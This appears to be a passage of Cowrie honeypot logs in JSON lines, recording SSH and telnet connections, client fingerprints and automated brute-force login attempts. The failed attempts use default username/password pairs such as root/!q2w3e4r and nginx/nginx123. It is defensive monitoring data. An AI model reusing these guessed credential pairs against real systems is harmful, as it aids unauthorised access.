{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33740,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5dc14aa5827","protocol":"ssh","message":"New connection: 45.153.34.112:33740 (10.17.0.5:22) [session: f5dc14aa5827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:11.789012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:11.793799Z","src_ip":"45.153.34.112","session":"f5dc14aa5827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:11.876319Z","src_ip":"45.153.34.112","session":"f5dc14aa5827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.23791027069092,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:11.960189Z","src_ip":"192.119.13.58","session":"4826b02e8cf1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:12.128904Z","src_ip":"45.153.34.112","session":"f5dc14aa5827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49206,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0367bb3d431","protocol":"telnet","message":"New connection: 192.119.13.58:49206 (10.17.0.5:23) [session: d0367bb3d431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:12.307478Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:13.213883Z","src_ip":"45.153.34.112","session":"f5dc14aa5827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33744,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b4e074b4245","protocol":"ssh","message":"New connection: 45.153.34.112:33744 (10.17.0.5:22) [session: 7b4e074b4245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:15.511062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:15.518765Z","src_ip":"45.153.34.112","session":"7b4e074b4245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:15.601335Z","src_ip":"45.153.34.112","session":"7b4e074b4245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39706,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca0cd44184d6","protocol":"telnet","message":"New connection: 192.119.13.58:39706 (10.17.0.5:23) [session: ca0cd44184d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:15.642539Z"}
{"eventid":"cowrie.session.closed","duration":0.006132364273071289,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:15.648564Z","src_ip":"192.119.13.58","session":"ca0cd44184d6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:15.849398Z","src_ip":"45.153.34.112","session":"7b4e074b4245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":48514,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5b30253b7e0","protocol":"ssh","message":"New connection: 186.68.83.105:48514 (10.17.0.5:22) [session: d5b30253b7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:16.175539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:16.180459Z","src_ip":"186.68.83.105","session":"d5b30253b7e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:16.272377Z","src_ip":"186.68.83.105","session":"d5b30253b7e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!q2w3e4r","message":"login attempt [root/!q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:16.661131Z","src_ip":"186.68.83.105","session":"d5b30253b7e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.76214599609375,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:16.907547Z","src_ip":"192.119.13.58","session":"6ee638924098","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:17.075779Z","src_ip":"45.153.34.112","session":"7b4e074b4245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:17.752908Z","src_ip":"186.68.83.105","session":"d5b30253b7e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33752,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bd20dffd7db","protocol":"ssh","message":"New connection: 45.153.34.112:33752 (10.17.0.5:22) [session: 9bd20dffd7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:19.312992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:19.317930Z","src_ip":"45.153.34.112","session":"9bd20dffd7db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:19.400399Z","src_ip":"45.153.34.112","session":"9bd20dffd7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:19.647471Z","src_ip":"45.153.34.112","session":"9bd20dffd7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:20.733231Z","src_ip":"45.153.34.112","session":"9bd20dffd7db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59654,"dst_ip":"10.17.0.5","dst_port":23,"session":"116ded55926e","protocol":"telnet","message":"New connection: 192.119.13.58:59654 (10.17.0.5:23) [session: 116ded55926e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:21.915807Z"}
{"eventid":"cowrie.session.closed","duration":38.83073401451111,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:22.272986Z","src_ip":"192.119.13.58","session":"13e0d760c274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48144,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2bc79ac5be","protocol":"ssh","message":"New connection: 45.153.34.112:48144 (10.17.0.5:22) [session: 2b2bc79ac5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:22.826839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:22.897229Z","src_ip":"45.153.34.112","session":"2b2bc79ac5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:22.979166Z","src_ip":"45.153.34.112","session":"2b2bc79ac5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:23.227039Z","src_ip":"45.153.34.112","session":"2b2bc79ac5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:24.393808Z","src_ip":"45.153.34.112","session":"2b2bc79ac5be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44270,"dst_ip":"10.17.0.5","dst_port":23,"session":"759640e44a18","protocol":"telnet","message":"New connection: 192.119.13.58:44270 (10.17.0.5:23) [session: 759640e44a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:25.977598Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48156,"dst_ip":"10.17.0.5","dst_port":22,"session":"70eb4be7f537","protocol":"ssh","message":"New connection: 45.153.34.112:48156 (10.17.0.5:22) [session: 70eb4be7f537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:26.308755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:26.313122Z","src_ip":"45.153.34.112","session":"70eb4be7f537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:26.468200Z","src_ip":"45.153.34.112","session":"70eb4be7f537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:26.820745Z","src_ip":"45.153.34.112","session":"70eb4be7f537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:27.394790Z","src_ip":"176.32.39.21","session":"cba9fcc7ec07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.662374258041382,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:27.578056Z","src_ip":"192.119.13.58","session":"116ded55926e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:28.071665Z","src_ip":"45.153.34.112","session":"70eb4be7f537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":32838,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b85369bfdd9","protocol":"ssh","message":"New connection: 43.173.122.127:32838 (10.17.0.5:22) [session: 6b85369bfdd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:29.940582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:29.945274Z","src_ip":"43.173.122.127","session":"6b85369bfdd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:30.015450Z","src_ip":"43.173.122.127","session":"6b85369bfdd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!q2w3e4r","message":"login attempt [root/!q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:30.321772Z","src_ip":"43.173.122.127","session":"6b85369bfdd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37162,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaa01101b994","protocol":"ssh","message":"New connection: 45.153.34.112:37162 (10.17.0.5:22) [session: eaa01101b994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:30.406553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:30.412924Z","src_ip":"45.153.34.112","session":"eaa01101b994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh